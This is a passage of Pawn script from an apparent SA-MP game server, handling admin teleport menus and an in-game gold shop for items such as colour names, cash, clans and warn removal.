			if(PINFO[playerid][pAdmin] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not an Admin.");
		  new shop[1024];
			format(shop,sizeof(shop),"{FFFFFF}Clear 1 Admin AV - {FF0000}400 Point");
			new title[256];
			format(title, sizeof(title), "Admin Features - Points: %d", PINFO[playerid][pPoint]);
			ShowPlayerDialog(playerid,1050,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			if(PINFO[playerid][pPoint] >= 400)
			{
			format(shop,sizeof(shop),"{FFFFFF}Clear 1 Admin AV - {00FF00}400 Point");
			ShowPlayerDialog(playerid,1050,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			}
			return 1;
			}
			}

		if(dialogid == 9051)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
		  if(PINFO[playerid][pAdmin] < 3 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoSF");
			return 1;
			}
		  if(listitem == 1) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoSF1");
			return 1;
			}
		  if(listitem == 2) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoSF2");
			return 1;
			}
		  if(listitem == 3) {
		  if(PINFO[playerid][pAdmin] < 4 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoSFT");
			return 1;
			}
			}
			}
			
			
			
			
			
			
			
					if(dialogid == 9053)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoBankLS");
			return 1;
			}
		  if(listitem == 1) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoBankLV");
			return 1;
			}
			}
			}
			
			
								if(dialogid == 9054)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto1");
			return 1;
			}
		  if(listitem == 1) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto2");
			return 1;
			}
		  if(listitem == 2) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto3");
			return 1;
			}
		  if(listitem == 3) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto4");
			return 1;
			}
		  if(listitem == 4) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto5");
			return 1;
			}
		  if(listitem == 5) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto6");
			return 1;
			}
		  if(listitem == 6) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto7");
			return 1;
			}
		  if(listitem == 7) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto8");
			return 1;
			}
		  if(listitem == 8) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto9");
			return 1;
			}
		  if(listitem == 9) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto10");
			return 1;
			}
		  if(listitem == 10) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto11");
			return 1;
			}
		  if(listitem == 11) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto12");
			return 1;
			}
		  if(listitem == 12) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto13");
			return 1;
			}
		  if(listitem == 13) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto14");
			return 1;
			}
		  if(listitem == 14) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto15");
			return 1;
			}
		  if(listitem == 15) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto16");
			return 1;
			}
		  if(listitem == 16) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/Goto17");
			return 1;
			}
			}
			}
			
			
			
			

		if(dialogid == 9050)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoLS");
			return 1;
			}
		  if(listitem == 1) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new shop[2048];
			format(shop,sizeof(shop),"{FF0000}SF\t\n{FF0000}SF 1\t\n{FF0000}SF 2\t\n{FF0000}SF Tuning");
			new title[256];
			format(title, sizeof(title), "Goto List - Admin Level: %d", PINFO[playerid][pAdmin]);
			ShowPlayerDialog(playerid,9051,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			if(PINFO[playerid][pSponser] == 1)
			{
			format(shop,sizeof(shop),"{33AA33}SF\t\n{33AA33}SF 1\t\n{33AA33}SF 2\t\n{33AA33}SF Tuning");
			ShowPlayerDialog(playerid,9051,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			}
			if(PINFO[playerid][pAdmin] >= 1)
			{
			format(shop,sizeof(shop),"{FF0000}SF\t\n{33AA33}SF 1\t\n{33AA33}SF 2\t\n{FF0000}SF Tuning");
			ShowPlayerDialog(playerid,9051,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			}
			if(PINFO[playerid][pAdmin] >= 2)
			{
			format(shop,sizeof(shop),"{FF0000}SF\t\n{33AA33}SF 1\t\n{33AA33}SF 2\t\n{FF0000}SF Tuning");
			ShowPlayerDialog(playerid,9051,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			}
			if(PINFO[playerid][pAdmin] >= 3)
			{
			format(shop,sizeof(shop),"{33AA33}SF\t\n{33AA33}SF 1\t\n{33AA33}SF 2\t\n{FF0000}SF Tuning");
			ShowPlayerDialog(playerid,9051,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			}
			if(PINFO[playerid][pAdmin] >= 3)
			{
			format(shop,sizeof(shop),"{33AA33}SF\t\n{33AA33}SF 1\t\n{33AA33}SF 2\t\n{33AA33}SF Tuning");
			ShowPlayerDialog(playerid,9051,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			}
			return 1;
			}
		  if(listitem == 2) {
		  if(PINFO[playerid][pAdmin] < 3 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoLV");
			return 1;
			}
		  if(listitem == 3) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoMARK");
			return 1;
			}
		  if(listitem == 4) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoAirPortLS");
			return 1;
			}
		  if(listitem == 5) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoCNN");
			return 1;
			}
		  if(listitem == 6) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoGSLS");
			return 1;
			}
		  if(listitem == 7) {
		  //if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoCivil");
			return 1;
			}
		  if(listitem == 8) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoChilliand");
			return 1;
			}
		  if(listitem == 9) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new shop[120];
			format(shop,sizeof(shop),"{33AA33}Bank LS\t\n{33AA33}Bank LV");
			new title[120];
			format(title, sizeof(title), "Goto List - Admin Level: %d", PINFO[playerid][pAdmin]);
			ShowPlayerDialog(playerid,9053,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			return 1;
			}
		  if(listitem == 10) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoDS");
			return 1;
			}
		  if(listitem == 11) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoTemple");
			return 1;
			}
		  if(listitem == 12) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GotoChurch");
			return 1;
			}
		  if(listitem == 13) {
		  if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			new shop[2048];
			format(shop,sizeof(shop),"{33AA33}PD HQ\t\n{33AA33}FBI HQ\t\n{33AA33}NG HQ\t\n{33AA33}Paramedic HQ\t\n{33AA33}SM HQ\t\n{33AA33}TKF HQ\t\n{33AA33}Mayor HQ\t\n{33AA33}HA HQ\t\n{33AA33}NR HQ\t\n{33AA33}TD HQ\t\n{33AA33}SI HQ\t\n{33AA33}DTF HQ\t\n{33AA33}LMF HQ\t\n{33AA33}FNF HQ\t\n{33AA33}SMF HQ\t\n{33AA33}TTC HQ\t\n{33AA33}Unknowns HQ");
			new title[256];
			format(title, sizeof(title), "Goto List - Admin Level: %d", PINFO[playerid][pAdmin]);
			ShowPlayerDialog(playerid,9054,DIALOG_STYLE_LIST,title,shop,"Select","Close");
			return 1;
			}
		  if(listitem == 14) {
		  //if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			OnPlayerCommandText(playerid, "/GoBack");
			return 1;
			}
			}
			}

		if(dialogid == 18)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
		  if(PINFO[playerid][pGold] < 900) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.")
			ShowPlayerDialog(playerid, 19, DIALOG_STYLE_MSGBOX,"Color Name","{FFFFFF}Are you really sure to buy {FF0000}RED{FFFFFF} Color Name by 600 Golds?","Yes","Close");
			return 1;
			}
		  if(listitem == 1) {
		  if(PINFO[playerid][pGold] < 900) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.")
			ShowPlayerDialog(playerid, 20, DIALOG_STYLE_MSGBOX,"Color Name","{FFFFFF}Are you really sure to buy {FFFF00}YELLOW{FFFFFF} Color Name by 600 Golds?","Yes","Close");
			return 1;
			}
		  if(listitem == 2) {
		  if(PINFO[playerid][pGold] < 900) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.")
			ShowPlayerDialog(playerid, 21, DIALOG_STYLE_MSGBOX,"Color Name","{FFFFFF}Are you really sure to buy {FF00FF}PURPLE{FFFFFF} Color Name by 600 Golds?","Yes","Close");
			return 1;
			}
		  if(listitem == 3) {
		  if(PINFO[playerid][pGold] < 900) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.")
			ShowPlayerDialog(playerid, 22, DIALOG_STYLE_MSGBOX,"Color Name","{FFFFFF}Are you really sure to buy {00FFFF}BLUE{FFFFFF} Color Name by 600 Golds?","Yes","Close");
			return 1;
			}
		  if(listitem == 4) {
		  if(PINFO[playerid][pGold] < 900) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.")
			ShowPlayerDialog(playerid, 23, DIALOG_STYLE_MSGBOX,"Color Name","{FFFFFF}Are you really sure to buy {00FF00}LIME{FFFFFF} Color Name by 600 Golds?","Yes","Close");
			return 1;
			}
		  if(listitem == 5) {
		  //if(PINFO[playerid][pGold] < 600) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.")
		  if(PINFO[playerid][pCChat] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have any color name.")
			ShowPlayerDialog(playerid, 24, DIALOG_STYLE_MSGBOX,"Color Name","{FFFFFF}Do you really sure to remove your Color Name?","Yes","Close");
			return 1;
			}
			}
			}
			
		if(dialogid == 19) {
		if(response) {
		PlayerInfo[playerid][pCChat] = 1;
		SaveKonVal(playerid, "pCChat", 1);
		PINFO[playerid][pGold] -= 600;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW2, "You successfully bought {FF0000}RED{F9F7CE} Color Name.");
		return 1;
		}
		}
		
		if(dialogid == 20) {
		if(response) {
		PlayerInfo[playerid][pCChat] = 2;
		SaveKonVal(playerid, "pCChat", 2);
		PINFO[playerid][pGold] -= 600;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW2, "You successfully bought {FFFF00}YELLOW{F9F7CE} Color Name.");
		return 1;
		}
		}
		
		if(dialogid == 21) {
		if(response) {
		PlayerInfo[playerid][pCChat] = 3;
		SaveKonVal(playerid, "pCChat", 3);
		PINFO[playerid][pGold] -= 600;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW2, "You successfully bought {FF00FF}PURPLE{F9F7CE} Color Name.");
		return 1;
		}
		}
		
		if(dialogid == 22) {
		if(response) {
		PlayerInfo[playerid][pCChat] = 4;
		SaveKonVal(playerid, "pCChat", 4);
		PINFO[playerid][pGold] -= 600;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW2, "You successfully bought {00FFFF}BLUE{F9F7CE} Color Name.");
		return 1;
		}
		}
		
		if(dialogid == 23) {
		if(response) {
		PlayerInfo[playerid][pCChat] = 5;
		SaveKonVal(playerid, "pCChat", 5);
		PINFO[playerid][pGold] -= 600;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW2, "You successfully bought {00FF00}LIME{F9F7CE} Color Name.");
		return 1;
		}
		}
		
		if(dialogid == 24) {
		if(response) {
		PlayerInfo[playerid][pCChat] = 0;
		SaveKonVal(playerid, "pCChat", 0);
		//PINFO[playerid][pGold] -= 600;
		//SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		SCM(playerid, COLOR_YELLOW2, "You successfully removed your Color Name.");
		return 1;
		}
		}
		
		if(dialogid == 9090)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
			ShowPlayerDialog(playerid, 9091, DIALOG_STYLE_MSGBOX,"Add Gold","Talk with higher rank admins with /report.","Close","");
			return 1;
			}
			if(listitem == 1) {
			//ShowPlayerDialog(playerid, 9092, DIALOG_STYLE_LIST, "Premium Account", "Premium Level [1] \nPremium Level [2]", "Select", "Close");
			ShowPlayerDialog(playerid, 9092, DIALOG_STYLE_LIST, "Premium Account", "Premium Account", "Select", "Close");
			return 1;
			}
			if(listitem == 2) {
			ShowPlayerDialog(playerid, 9093, DIALOG_STYLE_LIST, "Rep Points", "{FFFFFF}100 Rep Points - {FF0000}300 Gold \n{FFFFFF}500 Rep Points - {FF0000}2000 Gold \n{FFFFFF}1,000 Rep Points - {FF0000}3500 Gold \n{FFFFFF}2,000 Rep Points - {FF0000}6000 Gold \n", "Select", "Close");
			if(PINFO[playerid][pGold] >= 300)
			{
			ShowPlayerDialog(playerid, 9093, DIALOG_STYLE_LIST, "Rep Points", "{FFFFFF}100 Rep Points - {33AA33}300 Gold \n{FFFFFF}500 Rep Points - {FF0000}2000 Gold \n{FFFFFF}1,000 Rep Points - {FF0000}3500 Gold \n{FFFFFF}2,000 Rep Points - {FF0000}6000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 2000)
			{
			ShowPlayerDialog(playerid, 9093, DIALOG_STYLE_LIST, "Rep Points", "{FFFFFF}100 Rep Points - {33AA33}300 Gold \n{FFFFFF}500 Rep Points - {33AA33}2000 Gold \n{FFFFFF}1,000 Rep Points - {FF0000}3500 Gold \n{FFFFFF}2,000 Rep Points - {FF0000}6000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 3500)
			{
			ShowPlayerDialog(playerid, 9093, DIALOG_STYLE_LIST, "Rep Points", "{FFFFFF}100 Rep Points - {33AA33}300 Gold \n{FFFFFF}500 Rep Points - {33AA33}2000 Gold \n{FFFFFF}1,000 Rep Points - {33AA33}3500 Gold \n{FFFFFF}2,000 Rep Points - {FF0000}6000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 6000)
			{
			ShowPlayerDialog(playerid, 9093, DIALOG_STYLE_LIST, "Rep Points", "{FFFFFF}100 Rep Points - {33AA33}300 Gold \n{FFFFFF}500 Rep Points - {33AA33}2000 Gold \n{FFFFFF}1,000 Rep Points - {33AA33}3500 Gold \n{FFFFFF}2,000 Rep Points - {33AA33}6000 Gold \n", "Select", "Close");
			}
			return 1;
			}
			if(listitem == 3) {
			ShowPlayerDialog(playerid, 9094, DIALOG_STYLE_LIST, "Cash Money", "{FFFFFF}$50,000 - {33AA33}200 Gold \n{FFFFFF}$100,000 - {FF0000}400 Gold \n{FFFFFF}$200,000 - {FF0000}780 Gold \n{FFFFFF}$500,000 - {FF0000}1900 Gold \n{FFFFFF}$1,000,000 - {FF0000}3800 Gold \n{FFFFFF}$5,000,000 - {FF0000}19000 Gold \n", "Select", "Close");
			if(PINFO[playerid][pGold] >= 200)
			{
			ShowPlayerDialog(playerid, 9094, DIALOG_STYLE_LIST, "Cash Money", "{FFFFFF}$50,000 - {33AA33}200 Gold \n{FFFFFF}$100,000 - {FF0000}400 Gold \n{FFFFFF}$200,000 - {FF0000}780 Gold \n{FFFFFF}$500,000 - {FF0000}1900 Gold \n{FFFFFF}$1,000,000 - {FF0000}3800 Gold \n{FFFFFF}$5,000,000 - {FF0000}19000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 400)
			{
			ShowPlayerDialog(playerid, 9094, DIALOG_STYLE_LIST, "Cash Money", "{FFFFFF}$50,000 - {33AA33}200 Gold \n{FFFFFF}$100,000 - {33AA33}400 Gold \n{FFFFFF}$200,000 - {FF0000}780 Gold \n{FFFFFF}$500,000 - {FF0000}1900 Gold \n{FFFFFF}$1,000,000 - {FF0000}3800 Gold \n{FFFFFF}$5,000,000 - {FF0000}19000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 780)
			{
			ShowPlayerDialog(playerid, 9094, DIALOG_STYLE_LIST, "Cash Money", "{FFFFFF}$50,000 - {33AA33}200 Gold \n{FFFFFF}$100,000 - {33AA33}400 Gold \n{FFFFFF}$200,000 - {33AA33}780 Gold \n{FFFFFF}$500,000 - {FF0000}1900 Gold \n{FFFFFF}$1,000,000 - {FF0000}3800 Gold \n{FFFFFF}$5,000,000 - {FF0000}19000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 1900)
			{
			ShowPlayerDialog(playerid, 9094, DIALOG_STYLE_LIST, "Cash Money", "{FFFFFF}$50,000 - {33AA33}200 Gold \n{FFFFFF}$100,000 - {33AA33}400 Gold \n{FFFFFF}$200,000 - {33AA33}780 Gold \n{FFFFFF}$500,000 - {33AA33}1900 Gold \n{FFFFFF}$1,000,000 - {FF0000}3800 Gold \n{FFFFFF}$5,000,000 - {FF0000}19000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 3800)
			{
			ShowPlayerDialog(playerid, 9094, DIALOG_STYLE_LIST, "Cash Money", "{FFFFFF}$50,000 - {33AA33}200 Gold \n{FFFFFF}$100,000 - {33AA33}400 Gold \n{FFFFFF}$200,000 - {33AA33}780 Gold \n{FFFFFF}$500,000 - {33AA33}1900 Gold \n{FFFFFF}$1,000,000 - {33AA33}3800 Gold \n{FFFFFF}$5,000,000 - {FF0000}19000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 19000)
			{
			ShowPlayerDialog(playerid, 9094, DIALOG_STYLE_LIST, "Cash Money", "{FFFFFF}$50,000 - {33AA33}200 Gold \n{FFFFFF}$100,000 - {33AA33}400 Gold \n{FFFFFF}$200,000 - {33AA33}780 Gold \n{FFFFFF}$500,000 - {33AA33}1900 Gold \n{FFFFFF}$1,000,000 - {33AA33}3800 Gold \n{FFFFFF}$5,000,000 - {33AA33}19000 Gold \n", "Select", "Close");
			}
			return 1;
			}
			if(listitem == 4) {
			ShowPlayerDialog(playerid, 9095, DIALOG_STYLE_LIST, "Buy Clan", "{FFFFFF}Small Clan [15 Slots] [30Days] - {FF0000}500 Gold \n{FFFFFF}Medium Clan [25 Slots] [30Days] - {FF0000}1000 Gold \n{FFFFFF}Big Clan [75 Slots] [30Days] - {FF0000}2000 Gold \n", "Select", "Close");
			if(PINFO[playerid][pGold] >= 500)
			{
			ShowPlayerDialog(playerid, 9095, DIALOG_STYLE_LIST, "Buy Clan", "{FFFFFF}Small Clan [15 Slots] [30Days] - {33AA33}500 Gold \n{FFFFFF}Medium Clan [25 Slots] [30Days] - {FF0000}1000 Gold \n{FFFFFF}Big Clan [75 Slots] [30Days] - {FF0000}2000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 1000)
			{
			ShowPlayerDialog(playerid, 9095, DIALOG_STYLE_LIST, "Buy Clan", "{FFFFFF}Small Clan [15 Slots] [30Days] - {33AA33}500 Gold \n{FFFFFF}Medium Clan [25 Slots] [30Days] - {33AA33}1000 Gold \n{FFFFFF}Big Clan [75 Slots] [30Days] - {FF0000}2000 Gold \n", "Select", "Close");
			}
			if(PINFO[playerid][pGold] >= 2000)
			{
			ShowPlayerDialog(playerid, 9095, DIALOG_STYLE_LIST, "Buy Clan", "{FFFFFF}Small Clan [14 Slots] [30Days] - {33AA33}500 Gold \n{FFFFFF}Medium Clan [25 Slots] [30Days] - {33AA33}1000 Gold \n{FFFFFF}Big Clan [75 Slots] [30Days] - {33AA33}2000 Gold \n", "Select", "Close");
			}
			return 1;
			}
			if(listitem == 5) {
			ShowPlayerDialog(playerid, 9096, DIALOG_STYLE_MSGBOX,"Buy House Interior","This section is closed. \nYou can talk with admins for change your house interior.","Close","");
			return 1;
			}
			if(listitem == 6) {
			new hostershop[1024];
		  format(hostershop,sizeof(hostershop),"{00FF00}Hoster Lvl 1 - {FF0000}90000 Gold \t\n{FF6347}Hoster Lvl 3 - {FF0000}105000 Gold \t\n{FF0000}Hoster Lvl 6 - {FF0000}125000 Gold");
		  new hostershoptitle[256];
		  format(hostershoptitle, sizeof(hostershoptitle), "Hoster Shop - Golds: %d", PINFO[playerid][pGold]);
		  ShowPlayerDialog(playerid,11,DIALOG_STYLE_LIST,hostershoptitle,hostershop,"Select","Close");
		  if(PINFO[playerid][pGold] >= 20000)
			{
			format(hostershop,sizeof(hostershop),"{00FF00}Hoster Lvl 1 - {33AA33}90000 Gold \t\n{FF6347}Hoster Lvl 3 - {FF0000}105000 Gold \t\n{FF0000}Hoster Lvl 6 - {FF0000}125000 Gold");
			ShowPlayerDialog(playerid,11,DIALOG_STYLE_LIST,hostershoptitle,hostershop,"Select","Close");
			}
			if(PINFO[playerid][pGold] >= 30000)
			{
			format(hostershop,sizeof(hostershop),"{00FF00}Hoster Lvl 1 - {33AA33}90000 Gold \t\n{FF6347}Hoster Lvl 3 - {33AA33}1-5000 Gold \t\n{FF0000}Hoster Lvl 6 - {FF0000}125000 Gold");
			ShowPlayerDialog(playerid,11,DIALOG_STYLE_LIST,hostershoptitle,hostershop,"Select","Close");
			}
			if(PINFO[playerid][pGold] >= 40000)
			{
			format(hostershop,sizeof(hostershop),"{00FF00}Hoster Lvl 1 - {33AA33}90000 Gold \t\n{FF6347}Hoster Lvl 3 - {33AA33}105000 Gold \t\n{FF0000}Hoster Lvl 6 - {33AA33}125000 Gold");
			ShowPlayerDialog(playerid,11,DIALOG_STYLE_LIST,hostershoptitle,hostershop,"Select","Close");
			}
			return 1;
			}
			if(listitem == 7) {
			if(PINFO[playerid][pPunish] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't +10 faction punish to clear.")
			if(PINFO[playerid][pGold] < 250) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.")
			ShowPlayerDialog(playerid, 9097, DIALOG_STYLE_MSGBOX,"Clear 10 FP","Are you sure clear your 10 faction punish by 250 golds?","Yes","Close");
			return 1;
			}
			if(listitem == 8) {
			if(PINFO[playerid][pGold] < 600) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.")
			ShowPlayerDialog(playerid, 9098, DIALOG_STYLE_INPUT,"Change Nickname","Insert your new nickname below:\n{FF0000}There isn't back way.","Accept","Close");
			return 1;
			}
			if(listitem == 9) {
			if(PINFO[playerid][pWarns] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't warn.")
			if(PINFO[playerid][pGold] < 400) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.")
			ShowPlayerDialog(playerid, 9099, DIALOG_STYLE_MSGBOX,"Clear 1 Warn","Are you sure clear your 1 warn by 400 golds?","Yes","Close");
			return 1;
			}
			if(listitem == 10) {
			if(PINFO[playerid][pGold] < 600) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't enough gold.")
			if(PlayerInfo[playerid][pSex] == 1) {
			pSexx[playerid] = 2;
			ShowPlayerDialog(playerid, 9089, DIALOG_STYLE_MSGBOX,"Change Sex","Are you sure change your sex to female by 600 golds?","Yes","Close");
			}
			else if(PlayerInfo[playerid][pSex] == 2) {
			pSexx[playerid] = 1;
			ShowPlayerDialog(playerid, 9089, DIALOG_STYLE_MSGBOX,"Change Sex","Are you sure change your sex to male by 600 golds?","Yes","Close");
			}
		  return 1;
			}
			if(listitem == 11) {
			if(PINFO[playerid][pJailTime] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You are not in jail")
			if(PINFO[playerid][pGold] < 300) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough gold.")
			ShowPlayerDialog(playerid, 9078, DIALOG_STYLE_MSGBOX,"Unjail","You sure you want unjail from jail for 300 gold?","Yes","Close");
